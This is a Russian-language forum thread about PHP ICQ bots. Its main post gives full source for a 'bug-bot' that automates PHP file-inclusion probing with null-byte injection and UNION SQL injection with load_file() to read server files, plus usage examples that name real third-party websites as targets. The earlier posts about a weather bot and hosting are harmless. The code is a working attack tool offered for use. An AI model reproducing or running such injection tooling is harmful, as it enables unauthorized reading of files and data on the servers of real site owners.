можно просто это холявный софт+ soket там есть(если мну память не изменяет) перечитай с 1 страницы, много раз уже писали что и как с ним делать . . .
накидал тут тоже бота простенького (на webicqlite.class.php), попытался прикрутить к нему функцию показа прогноза погоды. чтобы особо не париться с парсингом gismeteo и ему подобных сайтов решил просто отсылать боту gismeteo название города, дожидаться ответа и отсылать запросчику ответ этого бота. но возникла проблема, бот гисметео не присылает ответ, перепробовал кучу других ботов ответ также не приходил... помогите кто чем может. на счет серверов, можно разместить еще на awardspase.com, но мой бот трагически погиб через 2 недели (удалили гады).
У меня новая фигня, типа всё номано, запустил, первый раз запустил бота он просидел до тайм-аута =), после запускаю он стучиться пару раз в асю и вылетает в браузере выдаёт "UIN blocked, please try again 20 min later" =( В чём проблема?
видимо слишком много попыток логина =). подожди 20 мин, если не терпится, то зарегай еще один номерок и впиши на время его .
Цеплял на свой хост(купленый) отказываеться номано работать. ЦГде взять бессплатный, нормальтный хост для бота?
PHP: <?php error_reporting (E_ALL); set_time_limit(FALSE); ignore_user_abort(TRUE); ini_set('max_execution_time', '0'); require_once('WebIcqLite.class.php'); define('UIN', '123456789'); //Номер бота define('PASSWORD', 'PASSW0RD'); //Пароль бота define('ADMIN', '555000'); //Номер админа бота $icq = new WebIcqLite(); if(!$icq->connect(UIN, PASSWORD)) { echo $icq->error; exit(); } $icq->send_message(ADMIN, 'Online'); while($icq->is_connected()) { $msg = $icq->read_message(); $m = strtolower($msg['message']); $dirs = explode("\n", file_get_contents('dirs.txt')); if(preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs)) { $url = $regs[1]; $null = $regs[2]; function phpinj($url, $file, $null) { if($null == true) { $replace = $file.'%00'; $url_full = str_replace('[php]',urlencode($file).'%00',$url); } elseif($null == false) { $replace = $file; $url_full = str_replace('[php]',urlencode($file),$url); } $urlOpen = file_get_contents($url_full); if(preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen)) { return false; } elseif($urlOpen) { return str_replace('[php]',$replace,$url); } } if($null == 'true') { $null = true; } else { $null = false; } $send = ''; foreach($dirs as $dir) { $php_inj = phpinj($url, $dir, $null); if($php_inj == true) { $search = true; $send .= $php_inj."\n"; } } if($search == false) { $icq->send_message($msg['from'], 'Ничего не найдено'); } else { $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send)); } } elseif(preg_match("/^!sql-inj\s+'(.+)','(\d+)','(\d+)','(true|false)'$/",$m,$regs)) { function sqlinj($url, $cols, $kol, $comm, $dir) { $one = '-1+union+select+'; for($i=1;$i<=$cols;$i++) { if($i != $kol) { $one .= $i; } else { $one .= 'load_file('.$dir.')'; } if($i != $cols) { $one .= ','; } } if($comm) { $comm = '/*'; } else { $comm = null; } $url = str_replace('[sql]',$one.$comm,$url); $urlOpen = file_get_contents($url); $badUrl = file_get_contents(preg_replace('|load_file\((.+)\)|','load_file(0x74657374657374)',$url)); if(substr_count($urlOpen,'You have an error in your SQL syntax.') != '0' || $urlOpen == $badUrl) { return false; } else { return $url; } } if($regs[4] == 'true') { $comment = true; } else { $comment = false; } $send = ''; foreach($dirs as $dir) { $dir = str_replace('../../../../../../../../../../../..',NULL,$dir); $sql_inj = sqlinj($regs[1], $regs[2], $regs[3], $comment, '0x'.bin2hex($dir)); if($sql_inj == true) { $search = true; $send .= $sql_inj."\n"; } } if($search != true) { $icq->send_message($msg['from'], 'Ничего не найдено'); } else { $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send)); } } elseif(preg_match("/!bugtraq\s+'(.+)'/",$m,$regs)) { $openBugTraq = file_get_contents('http://www.securityfocus.com/swsearch?query='.$regs[1].'&sbm=archive%2F1%2F&submit=Search%21&metaname=alldoc&sort=swishrank'); preg_match_all('|<a href="http://www.securityfocus.com/archive/(\d+)/(\d+)">[\n\s]+(.*)|',$openBugTraq,$array,PREG_SET_ORDER); $send = ''; foreach($array as $bug) { $search = true; $send .= 'http://www.securityfocus.com/archive/'.$bug[1].'/'.$bug[2].' ['.$bug[3].']'."\n"; } if($search != true) { $icq->send_message($msg['from'], 'Ничего не найдено'); } else { $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send)); } } elseif($msg['from'] == ADMIN && $m == '!quit') { $icq->send_message(ADMIN, 'Offline'); $icq->disconnect(); } else { $icq->send_message($msg['from'], 'Ваша команда не распознана'); } flush(); sleep(1); } ?> Написал небольшого баг-бота, функции: 1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename= PHP: ','false' 2. !sql-inj 'http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true' 3. !bugtraq 'phpMyAdmin'[/COLOR] Поясню: [COLOR=YellowGreen]1. Эта функция для поиска логов при php-инъекции. Где http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт. 2. Эта функция для поиска логов при sql-инъекции. Где http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет. 3. Ищем баги в двигах.[/COLOR] Файл директорий можете скачать от сюда: [url]http://webfile.ru/1542459[/url] Он должен быть в одной директории с ботом и называться dirs.txt. Бот попрежнему работает на WebIcqLite.class